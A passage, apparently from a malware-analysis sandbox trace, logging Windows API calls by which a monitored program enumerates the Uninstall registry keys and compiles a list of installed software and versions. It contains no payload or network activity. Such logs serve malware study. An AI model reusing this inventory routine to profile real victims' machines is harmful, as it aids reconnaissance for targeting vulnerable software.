Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219(10.0.40219)\r\n()\r\n()\r\n") returned 1272 [0166.392] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0244fc, cbMultiByte=11, lpWideCharStr=0x1e7de798, cchWideChar=2047 | out: lpWideCharStr="DisplayNamedobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219(10.0.40219)\r\n()\r\n()\r\n") returned 11 [0166.392] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04ae4, cbMultiByte=100, lpWideCharStr=0x1e7de794, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2524860\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219(10.0.40219)\r\n()\r\n()\r\n") returned 100 [0166.392] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2524860", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df790 | out: phkResult=0x1e7df790*=0x7b8) returned 0x0 [0166.393] RegQueryValueExW (in: hKey=0x7b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1e7df798, lpData=0x1e7df590, lpcbData=0x1e7df794*=0xfe | out: lpType=0x1e7df798*=0x0, lpData=0x1e7df590*=0x0, lpcbData=0x1e7df794*=0xfe) returned 0x2 [0166.393] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.393] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04b58, cbMultiByte=14, lpWideCharStr=0x1e7de790, cchWideChar=2047 | out: lpWideCharStr="DisplayVersionrosoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2524860\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219(10.0.40219)\r\n()\r\n()\r\n") returned 14 [0166.393] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04bf8, cbMultiByte=100, lpWideCharStr=0x1e7de78c, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB25248604860\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219(10.0.40219)\r\n()\r\n()\r\n") returned 100 [0166.393] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2524860", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df788 | out: phkResult=0x1e7df788*=0x7bc) returned 0x0 [0166.393] RegQueryValueExW (in: hKey=0x7bc, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1e7df790, lpData=0x1e7df588, lpcbData=0x1e7df78c*=0xfe | out: lpType=0x1e7df790*=0x0, lpData=0x1e7df588*=0x0, lpcbData=0x1e7df78c*=0xfe) returned 0x2 [0166.393] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.394] RegEnumKeyA (in: hKey=0x674, dwIndex=0x29, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2544655") returned 0x0 [0166.394] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04c6c, cbMultiByte=1276, lpWideCharStr=0x1e7de7a4, cchWideChar=2047 | out: lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219(10.0.40219)\r\n()\r\n()\r\n()\r\n￿") returned 1276 [0166.394] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2544655", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df790 | out: phkResult=0x1e7df790*=0x7c0) returned 0x0 [0166.394] RegQueryValueExW (in: hKey=0x7c0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1e7df798, lpData=0x1e7df590, lpcbData=0x1e7df794*=0xfe | out: lpType=0x1e7df798*=0x0, lpData=0x1e7df590*=0x0, lpcbData=0x1e7df794*=0xfe) returned 0x2 [0166.394] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.394] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2544655", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df788 | out: phkResult=0x1e7df788*=0x7c4) returned 0x0 [0166.395] RegQueryValueExW (in: hKey=0x7c4, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1e7df790, lpData=0x1e7df588, lpcbData=0x1e7df78c*=0xfe | out: lpType=0x1e7df790*=0x0, lpData=0x1e7df588*=0x0, lpcbData=0x1e7df78c*=0xfe) returned 0x2 [0166.395] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.395] RegEnumKeyA (in: hKey=0x674, dwIndex=0x2a, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2549743") returned 0x0 [0166.395] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32284, cbMultiByte=1280, lpWideCharStr=0x1e7de7a4, cchWideChar=2047 | out: lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219(10.0.40219)\r\n()\r\n()\r\n()\r\n()\r\n") returned 1280 [0166.395] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2549743", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df790 | out: phkResult=0x1e7df790*=0x7c8) returned 0x0 [0166.395] RegQueryValueExW (in: hKey=0x7c8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1e7df798, lpData=0x1e7df590, lpcbData=0x1e7df794*=0xfe | out: lpType=0x1e7df798*=0x0, lpData=0x1e7df590*=0x0, lpcbData=0x1e7df794*=0xfe) returned 0x2 [0166.395] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.395] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2549743", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df788 | out: phkResult=0x1e7df788*=0x7cc) returned 0x0 [0166.395] RegQueryValueExW (in: hKey=0x7cc, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1e7df790, lpData=0x1e7df588, lpcbData=0x1e7df78c*=0xfe | out: lpType=0x1e7df790*=0x0, lpData=0x1e7df588*=0x0, lpcbData=0x1e7df78c*=0xfe) returned 0x2 [0166.395] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.396] RegEnumKeyA (in: hKey=0x674, dwIndex=0x2b, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2565063") returned 0x0 [0166.396] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04b74, cbMultiByte=1284, lpWideCharStr=0x1e7de7a4, cchWideChar=2047 | out: lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219(10.0.40219)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n") returned 1284 [0166.396] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2565063", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df790 | out: phkResult=0x1e7df790*=0x7d0) returned 0x0 [0166.396] RegQueryValueExW (in: hKey=0x7d0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1e7df798, lpData=0x1e7df590, lpcbData=0x1e7df794*=0xfe | out: lpType=0x1e7df798*=0x0, lpData=0x1e7df590*=0x0, lpcbData=0x1e7df794*=0xfe) returned 0x2 [0166.396] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.396] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2565063", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df788 | out: phkResult=0x1e7df788*=0x7d4) returned 0x0 [0166.396] RegQueryValueExW (in: hKey=0x7d4, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1e7df790, lpData=0x1e7df588, lpcbData=0x1e7df78c*=0xfe | out: lpType=0x1e7df790*=0x0, lpData=0x1e7df588*=0x0, lpcbData=0x1e7df78c*=0xfe) returned 0x2 [0166.396] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.396] RegEnumKeyA (in: hKey=0x674, dwIndex=0x2c, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB982573") returned 0x0 [0166.396] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32308, cbMultiByte=1288, lpWideCharStr=0x1e7de7a4, cchWideChar=2047 | out: lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219(10.0.40219)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n") returned 1288 [0166.396] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB982573", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df790 | out: phkResult=0x1e7df790*=0x7d8) returned 0x0 [0166.397] RegQueryValueExW (in: hKey=0x7d8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1e7df798, lpData=0x1e7df590, lpcbData=0x1e7df794*=0xfe | out: lpType=0x1e7df798*=0x0, lpData=0x1e7df590*=0x0, lpcbData=0x1e7df794*=0xfe) returned 0x2 [0166.397] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.397] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB982573", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df788 | out: phkResult=0x1e7df788*=0x7dc) returned 0x0 [0166.397] RegQueryValueExW (in: hKey=0x7dc, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1e7df790, lpData=0x1e7df588, lpcbData=0x1e7df78c*=0xfe | out: lpType=0x1e7df790*=0x0, lpData=0x1e7df588*=0x0, lpcbData=0x1e7df78c*=0xfe) returned 0x2 [0166.397] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.397] RegEnumKeyA (in: hKey=0x674, dwIndex=0x2d, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned 0x0 [0166.397] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04bec, cbMultiByte=1292, lpWideCharStr=0x1e7de7a4, cchWideChar=2047 | out: lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219(10.0.40219)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n") returned 1292 [0166.397] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{f325f05b-f963-4640-a43b-c8a494cdda0f}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df790 | out: phkResult=0x1e7df790*=0x7e0) returned 0x0 [0166.397] RegQueryValueExW (in: hKey=0x7e0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1e7df798, lpData=0x1e7df590, lpcbData=0x1e7df794*=0xfe | out: lpType=0x1e7df798*=0x1, lpData="Microsoft Visual C++ 2017 Redistributable (x86) - 14.10.25017", lpcbData=0x1e7df794*=0x7c) returned 0x0 [0166.398] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.398] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{f325f05b-f963-4640-a43b-c8a494cdda0f}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df788 | out: phkResult=0x1e7df788*=0x7e4) returned 0x0 [0166.398] RegQueryValueExW (in: hKey=0x7e4, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1e7df790, lpData=0x1e7df588, lpcbData=0x1e7df78c*=0xfe | out: lpType=0x1e7df790*=0x1, lpData="14.10.25017.0", lpcbData=0x1e7df78c*=0x1c) returned 0x0 [0166.398] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.398] RegEnumKeyA (in: hKey=0x674, dwIndex=0x2e, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}") returned 0x0 [0166.398] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd322d8, cbMultiByte=1370, lpWideCharStr=0x1e7de7a4, cchWideChar=2047 | out: lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 